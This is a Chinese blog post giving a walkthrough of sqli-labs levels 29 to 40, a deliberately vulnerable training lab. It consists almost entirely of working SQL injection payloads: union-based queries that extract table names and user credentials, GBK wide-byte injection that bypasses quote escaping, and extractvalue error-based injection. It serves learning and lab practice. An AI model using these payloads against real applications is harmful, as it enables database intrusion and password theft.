sqli.labs靶场(29到40关)

29、第二十九关

id=1'

id=1''

尝试发现是单引号闭合,

-1' union select 1,2,3--+

-1' union select 1,2,database()--+

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1' union select 1,2,(select group_concat(username,'~',password) from security.users)--+

30、第三十关

id=1"

id=1""

探测位置:-1" union select 1,2,3--+

POC:-1" union select 1,2,database()--+

POC:-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

POC:-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

POC:id=-1" union select 1,2,(select group_concat(username,'~',password) from security.users)--+

31、第三十一关

id=1"

id=1""

-1") union select 1,2,3--+

-1") union select 1,2,database()--+

-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1") union select 1,2,(select group_concat(username,'~',password) from security.users)--+

32、第三十二关

id=1'

这关是单引号闭合,但是单引号被转译成\'了,想办法去掉单引号,可用宽字节注入

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。

%df 吃掉

具体的原因是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df,形 成 %df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

-1%aa%5c%27%20union select 1,2,3 --+

-1%aa%5c%27%20union select 1,2,database() --+

-1%aa%5c%27%20union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

-1%aa%5c%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=(select%20right(group_concat(table_name),5)%20from%20information_schema.columns%20where%20table_schema=database()))--+

-1%aa%5c%27%20union%20select%201,2,group_concat(username,0,password)%20from%20users--+

33、第三十三关

这关也是单引号闭合,但是引号被转译了和32关一样,用宽字节

-1%aa%5c%27 union select 1,2,3--+

-1%aa%5c%27 union select 1,2,database()--+

-1%aa%5c%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1%aa%5c%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1%aa%5c%27 union select 1,2,(select group_concat(username,0,password) from security.users)--+

34、第三十四关

这关也是引号被转译,试一下宽字节注入,发现有报错信息,可以用报错注入

uname=admin%aa%5c%27%20and extractvalue(1,concat(0x7e,database(),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database())),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(username,0,password) from security.users)))--+

35、第三十五关

-1 union select 1,2,3--+

-1 union select 1,2,database()--+

-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1 union select 1,2,(select group_concat(username,0,password) from security.users)--+

36、第三十六关

-1%aa%5c%27 union select 1,2,3--+

-1%aa%5c%27 union select 1,2,database()--+

-1%aa%5c%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1%aa%5c%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1%aa%5c%27 union select 1,2,(select group_concat(username,0,password) from security.users)--+

37、第三十七关

admin%aa%5c%27and+extractvalue(1,concat(0x7e,database()))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns where table_schema=database() and+table_name=(select+right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(username,0,password)+from+security.users)))--+

38、第三十八关

单引号闭合-1' union select 1,2,3--+

-1' union select 1,2,database()--+

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

-1' union select 1,2,(select group_concat(username,'~',password) from security.users) --+

39、第三十九关

-1 union select 1,2,3--+

-1 union select 1,2,database()--+

-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

-1 union select 1,2,(select group_concat(username,'~',password) from security.users)--+

40、第四十关

-1') union select 1,2,3--+单引号加括号闭合

-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

-1') union select 1,2,(select group_concat(username,'~',password) from security.users)--+

相关推荐
hayhead15 分钟前
高频 SQL 50 题(基础版)| 626. 换座位
sql·力扣
阿华的代码王国1 小时前
MySQL ------- 索引(B树B+树)
数据库·mysql
Hello.Reader1 小时前
StarRocks实时分析数据库的基础与应用
大数据·数据库
执键行天涯1 小时前
【经验帖】JAVA中同方法,两次调用Mybatis,一次更新,一次查询,同一事务,第一次修改对第二次的可见性如何
java·数据库·mybatis
yanglamei19622 小时前
基于GIKT深度知识追踪模型的习题推荐系统源代码+数据库+使用说明,后端采用flask,前端采用vue
前端·数据库·flask
Darling_002 小时前
LeetCode_sql_day28(1767.寻找没有被执行的任务对)
sql·算法·leetcode
zxrhhm2 小时前
SQLServer TOP(Transact-SQL)
sql·sqlserver
工作中的程序员2 小时前
ES 索引或索引模板
大数据·数据库·elasticsearch
严格格2 小时前
三范式,面试重点
数据库·面试·职场和发展
微刻时光2 小时前
Redis集群知识及实战
数据库·redis·笔记·学习·程序人生·缓存